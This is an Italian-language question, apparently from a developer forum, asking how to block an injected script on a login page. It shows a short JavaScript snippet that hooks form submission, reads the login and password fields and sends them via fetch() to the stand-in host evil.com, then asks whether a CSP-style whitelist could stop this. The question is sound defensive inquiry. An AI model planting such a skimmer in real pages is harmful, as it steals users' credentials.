Supponiamo che un utente malintenzionato riesca a iniettare questo script in una pagina di accesso:
const form = document.getElementsByTagName('form')[0];
form.addEventListener('submit', stealCredentials);
function stealCredentials() {
const login = document.getElementsByName('login')[0].value;
const password = document.getElementsByName('password')[0].value;
fetch('evil.com/?login=' + login + '&password=' + password);
}
È possibile prevenire la richiesta? La stessa politica di origine non sembra supportare tale restrizione.
Forse una whitelist simile a quella della Content Security Policy?